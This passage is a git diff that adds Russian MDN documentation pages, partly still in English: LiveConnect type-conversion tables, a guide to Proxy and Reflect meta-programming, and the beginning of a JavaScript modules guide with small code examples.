+   <td>The value becomes 0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The undefined value conversion is possible in JavaScript 1.3 and later versions only. Earlier versions of JavaScript do not support undefined values.</p>
+
+<p>When a JavaScript undefined value is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the undefined value is converted to a string. Use the == operator to compare the result of this conversion with other string values.</p>
+
+<h4 id="Null_Values" name="Null_Values">Null Values</h4>
+
+<p>When you pass null JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Any class<br>
+    Any interface type</td>
+   <td>The value becomes null.</td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     double<br>
+     float<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>The value becomes 0.</td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>The value becomes false.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="JavaArray_and_JavaObject_objects" name="JavaArray_and_JavaObject_objects">JavaArray and JavaObject objects</h4>
+
+<p>In most situations, when you pass a JavaScript <code>JavaArray</code> or <code>JavaObject</code> as a parameter to a Java method, Java simply unwraps the object; in a few situations, the object is coerced into another data type according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Any interface or class that is assignment-compatible with the unwrapped object.</td>
+   <td>The object is unwrapped.</td>
+  </tr>
+  <tr>
+   <td><code>java.lang.String</code></td>
+   <td>The object is unwrapped, the <code>toString</code> method of the unwrapped Java object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     double<br>
+     float<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>The object is unwrapped, and either of the following situations occur:
+    <ul>
+     <li>If the unwrapped Java object has a <code>doubleValue</code> method, the <code>JavaArray</code> or <code>JavaObject</code> is converted to the value returned by this method.</li>
+     <li>If the unwrapped Java object does not have a <code>doubleValue</code> method, an error occurs.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
+    <ul>
+     <li>If the object is null, it is converted to false.</li>
+     <li>If the object has any other value, it is converted to true.</li>
+    </ul>
+
+    <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
+
+    <ul>
+     <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
+     <li>If the object does not have a booleanValue method, the conversion fails.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>An interface or class is assignment-compatible with an unwrapped object if the unwrapped object is an instance of the Java parameter type. That is, the following statement must return true:</p>
+
+<pre class="brush: js">unwrappedObject instanceof parameterType;
+</pre>
+
+<h4 id="JavaClass_objects" name="JavaClass_objects">JavaClass objects</h4>
+
+<p>When you pass a JavaScript <code>JavaClass</code> object as a parameter to a Java method, Java converts the object according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>java.lang.Class</code></td>
+   <td>The object is unwrapped.</td>
+  </tr>
+  <tr>
+   <td><code>netscape.javascript.JSObject</code><br>
+    <code>java.lang.Object</code></td>
+   <td>The <code>JavaClass</code> object is wrapped in a new instance of <code>netscape.javascript.JSObject</code>.</td>
+  </tr>
+  <tr>
+   <td><code>java.lang.String</code></td>
+   <td>The object is unwrapped, the <code>toString</code> method of the unwrapped Java object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
+    <ul>
+     <li>If the object is null, it is converted to false.</li>
+     <li>If the object has any other value, it is converted to true.</li>
+    </ul>
+
+    <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
+
+    <ul>
+     <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
+     <li>If the object does not have a booleanValue method, the conversion fails.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Other_JavaScript_objects" name="Other_JavaScript_objects">Other JavaScript objects</h4>
+
+<p>When you pass any other JavaScript object as a parameter to a Java method, Java converts the object according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>netscape.javascript.JSObject</code><br>
+    <code>java.lang.Object</code></td>
+   <td>The object is wrapped in a new instance of <code>netscape.javascript.JSObject</code>.</td>
+  </tr>
+  <tr>
+   <td><code>java.lang.String</code></td>
+   <td>The object is unwrapped, the <code>toString</code> method of the unwrapped object is called, and the result is returned as a new instance of <code>java.lang.String</code>.</td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     double<br>
+     float<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>The object is converted to a value using the logic of the <code>ToPrimitive</code> operator described in ECMA-262. The <em>PreferredType</em> hint used with this operator is Number.</td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>In JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur:
+    <ul>
+     <li>If the object is null, it is converted to false.</li>
+     <li>If the object has any other value, it is converted to true.</li>
+    </ul>
+
+    <p>In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:</p>
+
+    <ul>
+     <li>If the unwrapped object has a booleanValue method, the source object is converted to the return value.</li>
+     <li>If the object does not have a booleanValue method, the conversion fails.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Java_to_JavaScript_Conversions">Java to JavaScript Conversions</h3>
+
+<p>Values passed from Java to JavaScript are converted as follows:</p>
+
+<ul>
+ <li>Java byte, char, short, int, long, float, and double are converted to JavaScript numbers.</li>
+ <li>A Java boolean is converted to a JavaScript boolean.</li>
+ <li>An object of class <code>netscape.javascript.JSObject</code> is converted to the original JavaScript object.</li>
+ <li>Java arrays are converted to a JavaScript pseudo-Array object; this object behaves just like a JavaScript <code>Array</code> object: you can access it with the syntax <code>arrayName[index]</code> (where <code>index</code> is an integer), and determine its length with <code>arrayName.length</code>.</li>
+ <li>A Java object of any other class is converted to a JavaScript wrapper, which can be used to access methods and fields of the Java object:
+  <ul>
+   <li>Converting this wrapper to a string calls the <code>toString</code> method on the original object.</li>
+   <li>Converting to a number calls the <code>doubleValue</code> method, if possible, and fails otherwise.</li>
+   <li>Converting to a boolean in JavaScript 1.3 and later versions returns false if the object is null, and true otherwise.</li>
+   <li>Converting to a boolean in JavaScript 1.2 and earlier versions calls the <code>booleanValue</code> method, if possible, and fails otherwise.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Note that instances of java.lang.Double and java.lang.Integer are converted to JavaScript objects, not to JavaScript numbers. Similarly, instances of java.lang.String are also converted to JavaScript objects, not to JavaScript strings.</p>
+
+<p>Java <code>String</code> objects also correspond to JavaScript wrappers. If you call a JavaScript method that requires a JavaScript string and pass it this wrapper, you'll get an error. Instead, convert the wrapper to a JavaScript string by appending the empty string to it, as shown here:</p>
+
+<pre class="brush: js">var JavaString = JavaObj.methodThatReturnsAString();
+var JavaScriptString = JavaString + "";</pre>
diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html
new file mode 100644
index 0000000000..7ab4762677
--- /dev/null
+++ b/files/ru/web/javascript/guide/meta_programming/index.html
@@ -0,0 +1,265 @@
+---
+title: Мета-программирование
+slug: Web/JavaScript/Guide/Meta_programming
+tags:
+  - Guide
+  - JavaScript
+  - Meta
+  - Meta programming
+  - Proxy
+  - Reflect
+  - Метапрограммирование
+translation_of: Web/JavaScript/Guide/Meta_programming
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">С приходом ECMAScript 2015, в JavaScript введены объекты {{jsxref("Proxy")}} и {{jsxref("Reflect")}}, позволяющие перехватить и переопределить поведение фундаментальных процессов языка (таких как поиск свойств, присвоение, итерирование, вызов функций и так далее). С помощью этих двух объектов Вы можете программировать на мета уровне JavaScript.</p>
+
+<h2 id="Объекты_Proxy">Объекты Proxy</h2>
+
+<p>Введенный в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определенных операций. Например, получение свойства объекта:</p>
+
+<pre class="brush: js">var handler = {
+  get: function(target, name) {
+    return name in target ? target[name] : 42;
+}};
+var p = new Proxy({}, handler);
+p.a = 1;
+console.log(p.a, p.b); // 1, 42
+</pre>
+
+<p>Объект <code>Proxy</code> определяет <em>target</em> (в данном случае новый пустой объект) и <em>handler</em> - объект в котором реализована особая <em>функция-ловушка</em> <code>get</code>. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернет не <code>undefined,</code> а числовое значение 42.</p>
+
+<p>Дополнительные примеры доступны в справочнике {{jsxref("Proxy")}}.</p>
+
+<h3 id="Терминология">Терминология</h3>
+
+<p>В разговоре о функциях объекта <code>Proxy</code> применимы следующие термины:</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (обработчик)</dt>
+ <dd>Объект - обертка, содержащий в себе функции-ловушки.</dd>
+ <dt>ловушки (traps)</dt>
+ <dd>Методы, реализующие доступ к свойствам. В своей концепции они аналогичны методам перехвата(hooking) в операционных системах.</dd>
+ <dt>цель (target)</dt>
+ <dd>Объект, который оборачивается в Proxy. Часто используется лишь как внутреннее хранилище для Proxy объекта. Проверка на нарушение ограничений (invariants), связанных с нерасширяемостью объекта или неконфигурируемыми свойствами объекта производится для конкретной <strong>цели</strong>. </dd>
+ <dt>неизменяемые ограничения (дословно Invariants - те что остаются неизменными)</dt>
+ <dd>Некоторые особенности поведения объекта, которые должны быть сохранены при реализации пользовательского поведения названы invariants. Если в обработчике нарушены такие ограничения, будет выброшена ошибка {{jsxref("TypeError")}}.</dd>
+</dl>
+
+<h2 id="Обработчики_и_ловушки">Обработчики и ловушки</h2>
+
+<p>В следующей таблице перечислены ловушки, доступные для использования в объекте <code>Proxy</code>. Смотрите подробные объяснения и примеры в <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">документации</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Обработчик / ловушка</th>
+   <th>Перехватываемые методы</th>
+   <th>Неизменяемые ограничения</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.getPrototypeOf()")}}<br>
+    {{jsxref("Reflect.getPrototypeOf()")}}<br>
+    {{jsxref("Object/proto", "__proto__")}}<br>
+    {{jsxref("Object.prototype.isPrototypeOf()")}}<br>
+    {{jsxref("Operators/instanceof", "instanceof")}}</td>
+   <td>
+    <ul>
+     <li><code>метод getPrototypeOf</code> должен вернуть object или <code>null</code>.</li>
+     <li>если целевой объект <code>target</code> нерасширяем, метод <code>Object.getPrototypeOf(proxy)</code> должен возвращать тот же результат что и <code>Object.getPrototypeOf(target)</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.setPrototypeOf()")}}<br>
+    {{jsxref("Reflect.setPrototypeOf()")}}</td>
+   <td>если целевой объект <code>target</code> нерасширяем, значение параметра <code>prototype</code> должно быть равным значению возвращаемому методом <code>Object.getPrototypeOf(target)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</td>
+   <td>{{jsxref("Object.isExtensible()")}}<br>
+    {{jsxref("Reflect.isExtensible()")}}</td>
+   <td><code>Object.isExtensible(proxy)</code> должно возвращать тоже значение, что и <code>Object.isExtensible(target)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</td>
+   <td>{{jsxref("Object.preventExtensions()")}}<br>
+    {{jsxref("Reflect.preventExtensions()")}}</td>
+   <td><code>Object.preventExtensions(proxy)</code> возвращает  <code>true</code> только в том случае, если <code>Object.isExtensible(proxy)</code> равно <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}<br>
+    {{jsxref("Reflect.getOwnPropertyDescriptor()")}}</td>
+   <td>
+    <ul>
+     <li><code>метод getOwnPropertyDescriptor</code> должен возвращать object или <code>undefined</code>.</li>
+     <li>Свойство не может быть описано как несуществующее, если оно существует и является некофигурируемым, собственным свойством целевого объекта <code>target</code>.</li>
+     <li>Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта <code>target</code> и <code>target</code> не расширяем.</li>
+     <li>Свойство не может быть описано как существующее, если оно не существует как собственное свойство  целевого объекта <code>target</code> и <code>target</code> не расширяем.</li>
+     <li>Свойство не может быть описано как неизменяемое, если оно не существует как собственное свойство целевого объекта <code>target</code> или если оно существует и является изменяемым, собственным свойством целевого объекта <code>target</code>.</li>
+     <li>Значение возвращенное методом <code>Object.getOwnPropertyDescriptor(target)</code> может быть применено к целевому объекту через метод <code>Object.defineProperty и э</code>то не вызовет ошибки.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</td>
+   <td>{{jsxref("Object.defineProperty()")}}<br>
+    {{jsxref("Reflect.defineProperty()")}}</td>
+   <td>
+    <ul>
+     <li>Новое свойство не может быть добавлено, если целевой объект не расширяем.</li>
+     <li>Нельзя добавить новое конфигурируемое свойство, или преобразовать существующее свойство в конфигурируемое, если оно не существует как собственное свойство целевого объекта или не является конфигурируемым.</li>
+     <li>Свойство не может быть неконфигурируемым, если целевой объект имеет соответствующее собственное, конфигурируемое свойство.</li>
+     <li>Если объект имеет свойство соответствующее создаваемому свойству, то <code>Object.defineProperty(target, prop, descriptor)</code> не вызовет ошибки.</li>
+     <li>В строгом режиме ("use strict";), если обработчик <code>defineProperty</code> вернет <code>false</code>, это вызовет ошибку {{jsxref("TypeError")}}.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</td>
+   <td>Property query: <code>foo in proxy</code><br>
+    Inherited property query: <code>foo in Object.create(proxy)</code><br>
+    {{jsxref("Reflect.has()")}}</td>
+   <td>
+    <ul>
+     <li>Свойство не может быть описано как несуществующее, если оно существует как собственное неконфигурируемое свойство целевого объекта.</li>
+     <li>Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта, и целевой объект является нерасширяемым.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</td>
+   <td>Property access: <code>proxy[foo]</code>and <code>proxy.bar</code><br>
+    Inherited property access: <code>Object.create(proxy)[foo]</code><br>
+    {{jsxref("Reflect.get()")}}</td>
+   <td>
+    <ul>
+     <li>Значение, возвращаемое для свойства, должно равняться значению соответствующего свойства целевого объекта, если это свойство является доступным только для чтения, неконфигурируемым.</li>
+     <li>Значение, возвращаемое для свойства, должно равняться <code>undefined,</code> если соответствующее свойство целевого объекта является неконфигурируемым и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</td>
+   <td>Property assignment: <code>proxy[foo] = bar</code> and <code>proxy.foo = bar</code><br>
+    Inherited property assignment: <code>Object.create(proxy)[foo] = bar</code><br>
+    {{jsxref("Reflect.set()")}}</td>
+   <td>
+    <ul>
+     <li>Нельзя изменить значение свойства на значение, отличное от значения соответствующего свойства целевого объекта, если это свойство целевого объекта доступно только для чтения, и является неконфигурируемым.</li>
+     <li>Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li>
+     <li>В строгом режиме, возвращение <code>false</code> из обработчика <code>set</code> вызовет ошибку {{jsxref("TypeError")}}.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</td>
+   <td>Property deletion: <code>delete proxy[foo]</code> and <code>delete proxy.foo</code><br>
+    {{jsxref("Reflect.deleteProperty()")}}</td>
+   <td>Свойство не может быть удалено, если оно существует в целевом объекте как собственное, неконфигурируемое свойство.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/enumerate", "handler.enumerate()")}}</td>
+   <td>Property enumeration / for...in: <code>for (var name in proxy) {...}</code><br>
+    {{jsxref("Reflect.enumerate()")}}</td>
+   <td><code><font face="Open Sans, Arial, sans-serif">Метод </font>enumerate</code> должен возвращать объект.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}<br>
+    {{jsxref("Object.getOwnPropertySymbols()")}}<br>
+    {{jsxref("Object.keys()")}}<br>
+    {{jsxref("Reflect.ownKeys()")}}</td>
+   <td>
+    <ul>
+     <li>Метод <code>ownKeys</code> должен возвращать список.</li>
+     <li>Типом каждого элемента в возвращаемом списке должен быть {{jsxref("String")}} или {{jsxref("Symbol")}}.</li>
+     <li>Возвращаемый список должен содержать ключи для всех неконфигурируемых, собственных свойств целевого объекта.</li>
+     <li>Если целевой объект является нерасширяемым, возвращаемый список должен содержать все ключи для собственных полей целевого объекта и больше никаких других значений.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</td>
+   <td><code>proxy(..args)</code><br>
+    {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}<br>
+    {{jsxref("Reflect.apply()")}}</td>
+   <td>Ограничений нет.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</td>
+   <td><code>new proxy(...args)</code><br>
+    {{jsxref("Reflect.construct()")}}</td>
+   <td>Обработчик должен возвращать <code>Object</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Отзываемый_Proxy">Отзываемый <code>Proxy</code></h2>
+
+<p>Метод {{jsxref("Proxy.revocable()")}} создает отзываемый объект <code>Proxy</code>. Такой прокси объект может быть отозван функцией <code>revoke</code>, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+  get: function(target, name) {
+    return '[[' + name + ']]';
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.foo); // "[[foo]]"
+
+revocable.revoke();
+
+console.log(proxy.foo);  // ошибка TypeError
+proxy.foo = 1;           // снова ошибка TypeError
+delete proxy.foo;        // опять TypeError
+typeof proxy;            // "object", для метода typeof нет ловушек</pre>
+
+<h2 id="Рефлексия">Рефлексия</h2>
+
+<p>{{jsxref("Reflect")}} это встроенный объект, предоставляющий методы для перехватываемых операций JavaScript. Это те же самые методы, что имеются в {{jsxref("Global_Objects/Proxy/handler","обработчиках Proxy","","true")}}. Объект <code>Reflect</code> не является функцией.</p>
+
+<p><code>Reflect</code> помогает при пересылке стандартных операций из обработчика к целевому объекту.</p>
+
+<p>Например, метод {{jsxref("Reflect.has()")}} это тот же <a href="/ru/docs/Web/JavaScript/Reference/Operators/in"><code>оператор in</code></a> но в виде функции:</p>
+
+<pre class="brush: js">Reflect.has(Object, 'assign'); // true
+</pre>
+
+<h3 id="Улучшенная_функция_apply">Улучшенная функция <code>apply</code></h3>
+
+<p>В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определенном контексте (с определенным <code>this)</code> и с параметрами, заданными в виде массива (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массиво-подобного объекта</a>).</p>
+
+<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
+
+<p>С методом {{jsxref("Reflect.apply")}} эта операция менее громоздка и более понятна:</p>
+
+<pre class="brush: js">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ['confabulation']).index;
+// 4
+
+Reflect.apply(''.charAt, 'ponies', [3]);
+// "i"
+</pre>
+
+<h3 id="Проверка_успешности_определения_нового_свойства">Проверка успешности определения нового свойства</h3>
+
+<p>Метод {{jsxref("Object.defineProperty")}}, в случае успеха операции, возвращает объект, а при неудаче вызывает ошибку {{jsxref("TypeError")}}. Из-за этого определение свойств требует обработки блоком {{jsxref("Statements/try...catch","try...catch")}} для перехвата возможных ошибок. Метод {{jsxref("Reflect.defineProperty")}}, в свою очередь, возвращает успешность операции в виде булева значения, благодаря чему возможно использование простого {{jsxref("Statements/if...else","if...else")}} условия:</p>
+
+<pre class="brush: js">if (Reflect.defineProperty(target, property, attributes)) {
+  // успех
+} else {
+  // что-то пошло не так
+}</pre>
+
+<p>{{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
diff --git a/files/ru/web/javascript/guide/modules/index.html b/files/ru/web/javascript/guide/modules/index.html
new file mode 100644
index 0000000000..0664a4d93f
--- /dev/null
+++ b/files/ru/web/javascript/guide/modules/index.html
@@ -0,0 +1,451 @@
+---
+title: Модули JavaScript
+slug: Web/JavaScript/Guide/Modules
+translation_of: Web/JavaScript/Guide/Modules
+---
+<div>{{JSSidebar("JavaScript Guide")}}{{Previous("Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<div>Это руководство содержит всю необходимую информацию для начала работы с модулями JavaScript.</div>
+
+<h2 id="Модули_история_вопроса">Модули: история вопроса</h2>
+
+<p>Сначала программы на JavaSctipt были небольшими — в прежние времена они использовались для изолированных задач, добавляя при необходимости немного интерактивности веб-страница, так что большие скрипты в основном не требовались. Прошло несколько лет, и вот уже мы видим полномасштабные приложения, работающие в броузерах и содержащие массу кода на JavaScript; кроме того, язык стал использоваться и в других контекстах (например, <a href="/en-US/docs/Glossary/Node.js">Node.js</a>).</p>
+
+<p>Таким образом, в последние годы появились причины на то, чтобы подумать о механизмах деления программ на JavaScript на отдельные модули, которые можно импортировать по мере нужды. Node.js включала такую возможность уже давно, кроме того, некоторые библиотеки и фреймворки JavaSctipt разрешали использование модулей (например, <a href="https://en.wikipedia.org/wiki/CommonJS">CommonJS</a> и основанные на <a href="https://github.com/amdjs/amdjs-api/blob/master/AMD.md">AMD</a> системы модулей типа <a href="https://requirejs.org/">RequireJS</a>, а позднее также <a href="https://webpack.github.io/">Webpack</a> и <a href="https://babeljs.io/">Babel</a>).</p>
+
+<p>К счастью, современные броузера стали сами поддерживать функциональность модулей, о чем и рассказывает эта статья. Этому можно только порадоваться — броузеры могут оптимизировать загрузку модулей, что было бы гораздо эффективнее использования библиотеки, и взять на себя обработку на стороне клиента и прочие накладные расходы.</p>
+
+<h2 id="Поддержка_в_броузерах">Поддержка в броузерах</h2>
+
+<p>Встроенная обработка модулей JavaScript свяазана с функциями {{JSxRef("Statements/import", "import")}} и {{JSxRef("Statements/export", "export")}}, которые поддерживаются броузерами следующим образом:</p>
+
+<h3 id="import">import</h3>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="export">export</h3>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Introducing_an_example">Introducing an example</h2>
+
+<p>To demonstrate usage of modules, we've created a <a href="https://github.com/mdn/js-examples/tree/master/modules">simple set of examples</a> that you can find on GitHub. These examples demonstrate a simple set of modules that create a <a href="/en-US/docs/Web/HTML/Element/canvas" title="Use the HTML &lt;canvas> element with either the canvas scripting API or the WebGL API to draw graphics and animations."><code>&lt;canvas&gt;</code></a> element on a webpage, and then draw (and report information about) different shapes on the canvas.</p>
+
+<p>These are fairly trivial, but have been kept deliberately simple to demonstrate modules clearly.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you want to download the examples and run them locally, you'll need to run them through a local web server.</p>
+</div>
+
+<h2 id="Basic_example_structure">Basic example structure</h2>
+
+<p>In our first example (see <a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>) we have a file structure as follows:</p>
+
+<pre class="notranslate">index.html
+main.js
+modules/
+    canvas.js
+    square.js</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: All of the examples in this guide have basically the same structure; the above should start getting pretty familiar.</p>
+</div>
+
+<p>The modules directory's two modules are described below:</p>
+
+<ul>
+ <li><code>canvas.js</code> — contains functions related to setting up the canvas:
+
+  <ul>
+   <li><code>create()</code> — creates a canvas with a specified <code>width</code> and <code>height</code> inside a wrapper <a href="/en-US/docs/Web/HTML/Element/div" title="The HTML Content Division element (&lt;div>) is the generic container for flow content. It has no effect on the content or layout until styled using CSS."><code>&lt;div&gt;</code></a> with a specified ID, which is itself appended inside a specified parent element. Returns an object containing the canvas's 2D context and the wrapper's ID.</li>
+   <li><code>createReportList()</code> — creates an unordered list appended inside a specified wrapper element, which can be used to output report data into. Returns the list's ID.</li>
+  </ul>
+ </li>
+ <li><code>square.js</code> — contains:
+  <ul>
+   <li><code>name</code> — a constant containing the string 'square'.</li>
+   <li><code>draw()</code> — draws a square on a specified canvas, with a specified size, position, and color. Returns an object containing the square's size, position, and color.</li>
+   <li><code>reportArea()</code> — writes a square's area to a specific report list, given its length.</li>
+   <li><code>reportPerimeter()</code> — writes a square's perimeter to a specific report list, given its length.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Aside_—_.mjs_versus_.js">Aside — <code>.mjs</code> versus <code>.js</code></h2>
+
+<p>Throughout this article, we've used <code>.js</code> extensions for our module files, but in other resources you may see the <code>.mjs</code> extension used instead. <a href="https://v8.dev/features/modules#mjs">V8's documentation recommends this</a>, for example. The reasons given are:</p>
+
+<ul>
+ <li>It is good for clarity, i.e. it makes it clear which files are modules, and which are regular JavaScript.</li>
+ <li>It ensures that your module files are parsed as a module by runtimes such as <a href="https://nodejs.org/api/esm.html#esm_enabling">Node.js</a>, and build tools such as <a href="https://babeljs.io/docs/en/options#sourcetype">Babel</a>.</li>
+</ul>
+
+<p>However, we decided to keep to using <code>.js</code>, at least for the moment. To get modules to work correctly in a browser, you need to make sure that your server is serving them with a <code>Content-Type</code> header that contains a JavaScript MIME type such as <code>text/javascript</code>. If you don't, you'll get a strict MIME type checking error along the lines of "The server responded with a non-JavaScript MIME type" and the browser won't run your JavaScript. Most servers already set the correct type for <code>.js</code> files, but not yet for <code>.mjs</code> files. Servers that already serve <code>.mjs</code> files correctly include <a href="https://pages.github.com/">GitHub Pages</a> and <code><a href="https://github.com/http-party/http-server#readme">http-server</a></code> for Node.js.</p>
+
+<p>This is OK if you are using such an environment already, or if you aren't but you know what you are doing and have access (i.e. you can configure your server to set the correct <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type">Content-Type</a></code> for <code>.mjs</code> files). It could however cause confusion if you don't control the server you are serving files from, or are publishing files for public use, as we are here.</p>
+
+<p>For learning and portability purposes, we decided to keep to <code>.js</code>.</p>
+
+<p>If you really value the clarity of using <code>.mjs</code> for modules versus using <code>.js</code> for "normal" JavaScript files, but don't want to run into the problem described above, you could always use <code>.mjs</code> during development and convert them to <code>.js</code> during your build step.</p>
+
+<p>It is also worth noting that:</p>
+
+<ul>
+ <li>Some tools may never support <code>.mjs</code>, such as <a href="https://www.typescriptlang.org/">TypeScript</a>.</li>
+ <li>The <code>&lt;script type="module"&gt;</code> attribute is used to denote when a module is being pointed to, as you'll see below.</li>
+</ul>
+
+<h2 id="Exporting_module_features">Exporting module features</h2>
+
+<p>The first thing you do to get access to module features is export them. This is done using the {{JSxRef("Statements/export", "export")}} statement.</p>
+
+<p>The easiest way to use it is to place it in front of any items you want exported out of the module, for example:</p>
+
+<pre class="brush: js; notranslate">export const name = 'square';
+
+export function draw(ctx, length, x, y, color) {
+  ctx.fillStyle = color;
+  ctx.fillRect(x, y, length, length);
+
+  return {
+    length: length,
+    x: x,
+    y: y,
+    color: color
+  };
+}</pre>
+
+<p>You can export functions, <code>var</code>, <code>let</code>, <code>const</code>, and — as we'll see later — classes. They need to be top-level items; you can't use <code>export</code> inside a function, for example.</p>
+
+<p>A more convenient way of exporting all the items you want to export is to use a single export statement at the end of your module file, followed by a comma-separated list of the features you want to export wrapped in curly braces. For example:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<h2 id="Importing_features_into_your_script">Importing features into your script</h2>
+
+<p>Once you've exported some features out of your module, you need to import them into your script to be able to use them. The simplest way to do this is as follows:</p>
+
